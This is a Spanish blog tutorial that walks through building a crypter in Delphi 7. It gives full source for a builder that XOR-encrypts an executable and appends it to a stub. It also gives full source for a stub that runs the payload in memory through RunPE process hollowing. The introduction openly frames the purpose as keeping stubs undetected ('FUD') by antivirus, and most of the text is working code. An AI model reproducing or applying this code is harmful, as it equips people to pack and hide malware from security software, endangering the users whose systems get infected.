Crear un crypter con Delphi


01 : Introduccion




02 : Creacion del Builder


03 : Creacion del Stub


04 : Probando el Crypter


05 : Creditos





-- =================--------





0x01 : Introducción





Un crypter es un programa para encriptar el código fuente de un programa. Sólo lo hago en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.





¿Cuáles son las partes de un crypter? 



En general, un crypter tiene dos partes ° El Builder, el stub °. El Builder es la interfaz que codifica nuestro archivo y utiliza las opciones que trae, de acuerdo con el programador que hizo el crypter . El stub es un archivo ejecutable (. exe) o un archivo. Dll .





¿Cómo consigue el 'stub' arrancar el 'programa cifrado' directamente en memoria sin que este toque el disco?.
 Para ello, el 'stub' utiliza una técnica o procedimiento llamada '
Dynamic Forking' o 'RunPE'. Está técnica es muy antigua, pero sigue siendo totalmente válida y funcional a día de hoy.


Dynamic Forking o RunPE





Una vez el 'stub' se ha ejecutado, lo primero que suele hacer es localizar dentro del binario el 'programa cifrado', a continuación localiza la clave de 'cifrado/descifrado' e inicia el proceso de descifrado del programa en memoria. Acto seguido, el stub arranca un segundo proceso, de si mismo o de un ejecutable cualquiera del sistema, es indiferente. Pero lo hace invocándolo con una propiedad denominada CREATE_SUSPENDED. Con ello lo que se consigue es cargar en memoria dicho ejecutable y los datos  de contexto necesarios para su ejecución, pero no llega a arrancarlo, está 'suspendido'. A continuación, a partir de la dirección de memoria donde se encuentra la cabecera y secciones del proceso suspendido, sobrescribe éstas con las del ejecutable  ya descifrado que tiene en memoria. A partir de ahí, obtiene los datos de contexto del archivo suspendido y los sustituye por los datos del nuevo ejecutable, el programa principal. Estos datos son básicamente la dirección base y el punto de entrada del nuevo ejecutable (EP: Entry Point). Por último,relanza el proceso suspendido, consiguiendo que se ejecute el programa en lugar del ejecutable suspendido invocado inicialmente. Así de simple y así de elegante.




Entonces, ¿cómo es posible conseguir un 'stub' indetectable?



Generalmente al proceso de 'retoque' de un 'stub' para volverlo 'indetectable' se le conoce con el nombre de 'modding', y  éste tiene dos modalidades, el 'modding' desde 'código fuente' (o 'source') o desde el 'binario'. En general, lo más óptimo es combinar ambas, ya que hay firmas sencillas de sacar desde el código fuente, pero para sacar las más complejas, generalmente, hay que recurrir a retocar el 'binario'. Además, el 'modding' se aplica muchas veces para sanear un 'stub' detectado, pero no se cuenta con el código fuente del mismo, y es por esta razón por la que se utiliza muy habitualmente y de forma exclusiva el 'modding' desde binario.





Por tanto, a modo de recapitulación, el objetivo de todo 'modder' es dejar el 'stub limpio', 'indetectado', es decir 'FUD' y para ello, ha de 'retocarlo', a través de un proceso conocido como 'modding' que se sirve de múltiples técnicas para conseguir, por una parte, localizar la firma del AV, es decir, descubrir dónde, en qué bytes, el AV ha 'marcado' el ejecutable, y por otra parte, ser capaz de alterar esa secuencia de bytes de manera que el AV ya no detecte más el 'stub' y éste continúe siendo funcional.

 Fuente: http://www.securitybydefault.com





Empecemos ...





0x02 : Creación del Builder





Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :










Despues agregamos los siguientes elementos al formulario :





* 1 Edit (En Standard)


* 2 Botones (En Standard)


* 1 OpenDialog (En Dialogs)





El Edit contendrá la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo botón para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.





Entonces al primer botón lo ponemos al lado del Edit1 y le ponemos de texto al botón : "Load" , el segundo botón viene abajo del Edit1 y le ponemos de texto "Encrypt"





Tambien si quieren pueden poner un titulo al Form desde la opción de "Caption" del formulario , en mi caso pongo "Crypter".





El formulario les debería quedar así :










Entonces hacemos doble click en el botón "Load" y ponemos el siguiente código :





Código: Delphi




  1. procedure TForm1.Button1Click(Sender: TObject);



  2. begin



  3.   if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta



  4.   // del archivo a encriptar



  5.   begin



  6.     Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con



  7.     // la ruta del archivo marcado en el openDialog1



  8.   end;



  9. end;











Ahora hacemos doble click en el botón "Encrypt" y ponemos el siguiente código :





Código: Delphi




  1. procedure TForm1.Button2Click(Sender: TObject);



  2. var



  3.   codigo: string; // Declaramos la variable "codigo" como string



  4.   key: integer; // Declaramos la variable "key" como integer



  5.   separador: string; // Declaramos la variable "separador" como string



  6.   linea: string; // Declaramos la variable "linea" como string



  7. begin






  8.   separador := '-barra-';



  9.   // Establecemos el valor que tendra la variable "separador"



  10.   key := 123; // Establecemos el valor de la variable "key" como 123






  11.   codigo := xor_now(leer_archivo(Edit1.Text), key);



  12.   // Leemos el archivo que hay en



  13.   // la caja de texto y encriptamos con XOR el contenido usando una key






  14.   CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),



  15.     Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);



  16.   // Copiamos el stub.exe con el nombre de done.exe






  17.   linea := separador + codigo + separador + IntToStr(key) + separador;



  18.   // Establecemos



  19.   // la variable "linea" con el valor de contenido del archivo encriptado con



  20.   // XOR y la key del cifrado XOR






  21.   escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos



  22.   // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y



  23.   // tambien ponemos el valor de la variable "linea"



  24.  



  25.   ShowMessage('Done');






  26. end;











El código les debería quedar algo así :










Para poder usar este código debemos crear una Unit  desde "File->New->Unit" como en la siguiente imagen :










Una vez creada pongan el siguiente código :





Código: Delphi




  1. // Unit : Tools for Crypter



  2. // Coded By Doddy Hackman in the year 2015



  3. // Credits : Based on OP Crypter By Xash



  4. // Thanks to Xash






  5. unit tools;






  6. interface






  7. uses SysUtils, Windows;






  8. function leer_datos(archivo, delimitador1, delimitador2: string): string;



  9. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;






  10. function leer_archivo(archivo_a_leer: String): AnsiString;



  11. function xor_now(texto: string; clave: integer): string;






  12. implementation






  13. function xor_now(texto: string; clave: integer): string;



  14. var



  15.   numero: integer; // Establecemos la variable "numero" como integer



  16.   contenido: string; // Establecemos la variable "contenido" como string



  17. begin



  18.   contenido := ''; // Vaciamos el contenido de la variable "contenido"



  19.   for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta



  20.   // la longitud de la variable "texto"



  21.   begin



  22.     contenido := contenido + Char(integer(texto[numero]) xor clave);



  23.     // Encriptamos los datos



  24.     // con XOR



  25.   end;



  26.   Result := contenido; // Devolvemos el resultado de la funcion como el valor



  27.   // de la variable "contenido"



  28. end;






  29. function leer_archivo(archivo_a_leer: String): AnsiString;



  30. var



  31.   archivo: File; // Declaramos la variable "archivo" como File



  32.   tipo: Byte; // Declaramos la variable "tipo" como Byte



  33. begin



  34.   tipo := FileMode; // Establecemos el FileMode para abrir el archivo



  35.   try



  36.     FileMode := 0; // Establecemos como "0" el FileMode



  37.     AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo



  38. {$I-}



  39.     Reset(archivo, 1); // Leemos el archivo desde la primera linea



  40. {$I+}



  41.     if IoResult = 0 then // Si IoResult es 0 ...



  42.       try



  43.         SetLength(Result, FileSize(archivo)); // Establecemos la longitud la



  44.         // variable "Result" como la longitud del archivo



  45.         if Length(Result) > 0 then



  46.         // Si la longitud del resultado es mayor a 0 ...



  47.         begin



  48. {$I-}



  49.           BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos



  50. {$I+}



  51.           if IoResult <> 0 then // Si es distinto a 0 ..



  52.             Result := '';



  53.         end;



  54.       finally



  55.         CloseFile(archivo); // Cerramos el archivo



  56.       end;



  57.   finally



  58.     FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"



  59.   end;



  60. end;






  61. function leer_datos(archivo, delimitador1, delimitador2: string): string;






  62. var



  63.   contenido: string; // Declaramos la variable "contenido" como string



  64.   limite: integer; // Declaramos la variable "limite" como integer



  65.   dividiendo: integer; // Declaramos la variable "dividiendo" como integer



  66.   dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer



  67.   dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer



  68.   dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer



  69.   control1: integer; // Declaramos la variable "control1" como integer



  70.   control2: integer; // Declaramos la variable "control2" como integer



  71.   suma: integer; // Declaramos la variable "suma" como integer



  72.   numero: integer; // Declaramos la variable "numero" como integer



  73.   suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer



  74.   suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer



  75.   suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer



  76.   suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer



  77.   resultado: string; // Declaramos la variable "resultado" como string



  78.   contenido_final: string;



  79.   // Declaramos la variable "contenido_final" como string



  80. begin






  81.   if (FileExists(archivo)) then // Si existe el archivo ...



  82.   begin



  83.     contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo



  84.     // en la variable "contenido"






  85.     suma_inicial_1 := Length(delimitador1);



  86.     // Calculamos la longitud de la variable



  87.     // "delimitador1"






  88.     suma_inicial_2 := Length(contenido);



  89.     // Calculamos la longitud de la variable



  90.     // "contenido"






  91.     suma := Pos(delimitador1, contenido) + suma_inicial_1;



  92.     // Calculamos la posicion del



  93.     // "delimitador" en la variable "contenido"






  94.     dividiendo := suma_inicial_2 - suma;



  95.     // Restamos las variables "suma_inicial_2"



  96.     // y "suma"



  97.       dividiendo2 := suma_inicial_2 - dividiendo;



  98.     // Restamos las variables "suma_inicial_2"



  99.     // y "dividiendo"






  100.     contenido := Copy(contenido, dividiendo2, suma_inicial_2);



  101.     // Copiamos las variables y las guardmamos en "contenido"






  102.     suma_casi_1 := Pos(delimitador1, contenido);



  103.     // Calculamos la posicion de "delimitador1"



  104.     // en la variable "contenido"



  105.     suma_casi_2 := suma_casi_1 + suma_inicial_1;



  106.     // Sumamos las variables "suma_casi_1"



  107.     // y "suma_inicial_1"






  108.     control1 := Pos(delimitador2, contenido) - suma_casi_2;



  109.     // Calculamos la posicion



  110.     // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"






  111.     control2 := control1 - 1; // Restamos en uno la variable "control1"






  112.     for numero := 0 to control2 do



  113.     // Realizamos un for usando desde 0 hasta el valor



  114.     // de la variable "control2"



  115.     begin



  116.       dividiendo3 := suma_inicial_1 + numero;



  117.       // Sumamos la variables varibles "suma_inicial_1"



  118.       // y "numero"



  119.       dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;



  120.       // Calculamos la posicion de "delimitador1" en la variable



  121.       // "contenido"



  122.       contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta



  123.       // en la variable "dividiendo4" para acceder a cierta posicion de la variable



  124.       // "contenido"



  125.       resultado := resultado + contenido_final;



  126.       // Sumamos las variables "resultado" y



  127.       // "contenido_final"



  128.     end;






  129.     if resultado = '' then // Si la variable "resultado" esta vacia ...



  130.     begin



  131.       resultado := 'Error'; // Mostramos "Error" en la variable "resultado"



  132.     end



  133.     else



  134.     begin



  135.       Result := resultado; // De lo contrario mostramos el contenido de la



  136.       // variable "resultado" en resultado de la funcion



  137.     end;



  138.   end



  139.   else



  140.   begin



  141.     Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de



  142.     // la funcion



  143.   end;



  144. end;






  145. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;



  146. var



  147.   abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como



  148.   // TextFile



  149. begin



  150.   if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...



  151.   begin



  152.     AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable



  153.     // "ruta"



  154.     Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable



  155.     // "abriendo_archivo"



  156.     try



  157.       begin



  158.         WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);



  159.         // Escribimos los datos



  160.         // de las variables "delimitador1,"texto","delimitador2"



  161.       end



  162.     finally



  163.       begin



  164.         CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable



  165.         // "abriendo_archivo"



  166.       end;



  167.       Result := True; // Devolvemos "True" como resultado de la funcion



  168.     end;



  169.   end



  170.   else



  171.   begin



  172.     Result := False; // De lo contrario devolvemos "False" como resultado de la



  173.     // funcion



  174.   end;






  175. end;






  176. end.






  177. // The End ?











Y para terminar la Unit guárdenla con el nombre de "tools".





Les debería quedar algo así :










Para conectar el formulario con la Unit debemos ir a los "uses" que están al inicio del código del formulario y agregar "tools" al final , quedando así :





Código: Delphi




  1. uses



  2.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,



  3.   Dialogs, StdCtrls,tools;











Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.





0x03 : Creacion del Stub





Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y después en la ventana que viene seleccionamos "Console Application" , con imágenes seria así :















Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :










Una vez creado ponemos el siguiente código :





Código: Delphi




  1. { uExecFromMem






  2.   Author: steve10120



  3.   Description: Run an executable from another's memory.



  4.   Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().



  5.   Reference: http://www.security.org.sg/code/loadexe.html



  6.   Release Date: 26th August 2009



  7.   Website: http://ic0de.org



  8.   History: First try






  9.   Additions by testest 15th July 2010:



  10.     - Parameter support



  11.     - Win7 x64 support



  12. }






  13. unit uExecFromMem;






  14. interface






  15. uses Windows;






  16. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;






  17. implementation






  18. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';






  19. type



  20.   PImageBaseRelocation = ^TImageBaseRelocation;



  21.   TImageBaseRelocation = packed record



  22.      VirtualAddress: DWORD;



  23.      SizeOfBlock: DWORD;



  24.   end;






  25. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;



  26. var



  27.   l_i: Cardinal;



  28.   l_codebase: Pointer;



  29.   l_relocation: PImageBaseRelocation;



  30.   l_dest: Pointer;



  31.   l_relInfo: ^Word;



  32.   l_patchAddrHL: ^DWord;



  33.   l_type, l_offset: integer;



  34. begin



  35.   l_codebase := f_module;



  36.   if INH^.OptionalHeader.DataDirectory[5].Size > 0 then



  37.   begin



  38.     l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);



  39.     while l_relocation.VirtualAddress > 0 do



  40.     begin



  41.       l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));



  42.       l_relInfo := Pointer(Cardinal(l_relocation) + 8);



  43.       for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do



  44.       begin



  45.         l_type := (l_relInfo^ shr 12);



  46.         l_offset := l_relInfo^ and $FFF;



  47.         if l_type = 3 then



  48.         begin



  49.           l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));



  50.           l_patchAddrHL^ := l_patchAddrHL^ + f_delta;



  51.         end;



  52.         inc(l_relInfo);



  53.       end;



  54.       l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);



  55.     end;



  56.   end;



  57. end;






  58. function AlignImage(pImage:Pointer):Pointer;



  59. var



  60.   IDH:          PImageDosHeader;



  61.   INH:          PImageNtHeaders;



  62.   ISH:          PImageSectionHeader;



  63.   i:            WORD;



  64. begin



  65.   IDH := pImage;



  66.   INH := Pointer(Integer(pImage) + IDH^._lfanew);



  67.   GetMem(Result, INH^.OptionalHeader.SizeOfImage);



  68.   ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);



  69.   CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);



  70.   for i := 0 to INH^.FileHeader.NumberOfSections - 1 do



  71.   begin



  72.     ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);



  73.     CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);



  74.   end;



  75. end;






  76. function Get4ByteAlignedContext(var Base: PContext): PContext;



  77. begin



  78.   Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);



  79.   Result := Base;



  80.   if Base <> nil then



  81.     while ((DWORD(Result) mod 4) <> 0) do



  82.       Result := Pointer(DWORD(Result) + 1);



  83. end;






  84. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;



  85. var



  86.   PI:           TProcessInformation;



  87.   SI:           TStartupInfo;



  88.   CT:           PContext;



  89.   CTBase:       PContext;



  90.   IDH:          PImageDosHeader;



  91.   INH:          PImageNtHeaders;



  92.   dwImageBase:  DWORD;



  93.   pModule:      Pointer;



  94.   dwNull:       DWORD;



  95. begin



  96.   if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;






  97.   Result := 0;



  98.   IDH := pFile;



  99.   if IDH^.e_magic = IMAGE_DOS_SIGNATURE then



  100.   begin



  101.     INH := Pointer(Integer(pFile) + IDH^._lfanew);



  102.     if INH^.Signature = IMAGE_NT_SIGNATURE then



  103.     begin



  104.       FillChar(SI, SizeOf(TStartupInfo), #0);



  105.       FillChar(PI, SizeOf(TProcessInformation), #0);



  106.       SI.cb := SizeOf(TStartupInfo);



  107.       if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then



  108.       begin



  109.         CT := Get4ByteAlignedContext(CTBase);



  110.         if CT <> nil then



  111.         begin



  112.           CT.ContextFlags := CONTEXT_FULL;



  113.           if GetThreadContext(PI.hThread, CT^) then



  114.           begin



  115.             ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);



  116.             if dwImageBase = INH^.OptionalHeader.ImageBase then



  117.             begin



  118.               if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then



  119.                 pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)



  120.               else



  121.                 pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);



  122.             end



  123.             else



  124.               pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);



  125.             if pModule <> nil then



  126.             begin



  127.               pFile := AlignImage(pFile);



  128.               if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then



  129.               begin



  130.                 PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));



  131.                 INH^.OptionalHeader.ImageBase := DWORD(pModule);



  132.                 CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);



  133.               end;



  134.               WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);



  135.               WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);



  136.               CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;



  137.               SetThreadContext(PI.hThread, CT^);



  138.               ResumeThread(PI.hThread);



  139.               Result := PI.hThread;



  140.             end;



  141.           end;



  142.           VirtualFree(CTBase, 0, MEM_RELEASE);



  143.         end;



  144.         if Result = 0 then



  145.           TerminateProcess(PI.hProcess, 0);



  146.       end;



  147.     end;



  148.   end;



  149. end;






  150. end.











Para terminar guardamos la Unit como "uExecFromMem" y el código nos quedaría algo así :










Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :





Código: Delphi




  1. uses



  2.   SysUtils, StrUtils, Windows, uExecFromMem, tools;











Después borren el "{$APPTYPE CONSOLE}" al inicio del código para que no se vea la consola al cargar el Stub.





Ahora debemos agregar el siguiente código que nos servirá para usar arrays en el Stub.





El código :





Código: Delphi




  1. type



  2.   otro_array = array of string;



  3.   // Declaramos el tipo "otro_array" como array of string











Después tenemos que agregar la siguiente función para manejar los arrays y los datos del Stub.





El código :





Código: Delphi




  1. procedure regex2(texto: string; separador: string; var resultado: otro_array);



  2. // Thanks to ecfisa for the help



  3. var



  4.   numero1: integer; // Declaramos la variable "numero1" como integer



  5.   numero2: integer; // Declaramos la variable "numero2" como integer



  6. begin



  7.   texto := texto + separador; // Concatenamos la variable "texto" y "separador"



  8.   numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en



  9.   // la variable "texto"



  10.   numero1 := 1; // Establecemos la variable "numero1" como "1"



  11.   while numero1 <= numero2 do



  12.   // Mientras "numero1" sea menor o igual a "numero2" ...



  13.   begin



  14.     SetLength(resultado, Length(resultado) + 1);



  15.     // Establecemos la longitud de resultado



  16.     // a la longitud de la variable "resultado" mas "1"



  17.     resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);



  18.     // Establecemos la variable "resultado" como la copia de las variables "texto",



  19.     // "numero1" y la resta de las variables "numero2" y "numero1"



  20.     numero1 := numero2 + Length(separador);



  21.     // Establecemos la variable "numero1" como



  22.     // la suma de la variable "numero2" y la longitud de ña variable "separador"



  23.     numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de



  24.     // "separador" en el variable "texto"



  25.   end;



  26. end;











Ahora agregamos el siguiente código entre el begin principal.





El código :





Código: Delphi




  1. var



  2.   todo: string; // Declaramos la variable "todo" como string



  3.   codigo: string; // Declaramos la variable "codigo" como string



  4.   key: string; // Declaramos la variable "key" como string



  5.   datos: otro_array; // Declaramos la variable "datos" como otro_array






  6. begin






  7.   todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos



  8.   // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"






  9.   regex2(todo, '-barra-', datos);



  10.   // Separamos los delimitadores que estan separados



  11.   // por "-barra-" en la variable "todo"






  12.   key := datos[2];



  13.   // Establecemos como "key" la segunda posicion del array "datos"



  14.   codigo := datos[1];



  15.   // Establecemos como "codigo" la primera posicion del array



  16.   // "datos"






  17.   codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"



  18.   // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo



  19.   // guardamos en la variable "codigo"






  20.   ExecuteFromMem(paramstr(0), '', Pchar(codigo));



  21.   // Ejecutamos el codig en memoria



  22.   // usando la funcion "ExecuteFromMem"






  23. end.











Una imagen de como debería quedarles el código :










Para terminar guardamos el proyecto como "stub" y podríamos dar por terminado este corto capitulo.





0x04 : Probando el Crypter





Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el botón "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.





Unas imágenes :

























Como ven el Crypter funciona correctamente.





05 : Creditos


















No hay comentarios:

Publicar un comentario

Simulación del movimiento de los electrones en un campo electrico

Espectacular simulación realizada con OpenGL del movimiento de los electrones cuando atraviesan un campo eléctrico. Como muestra la image...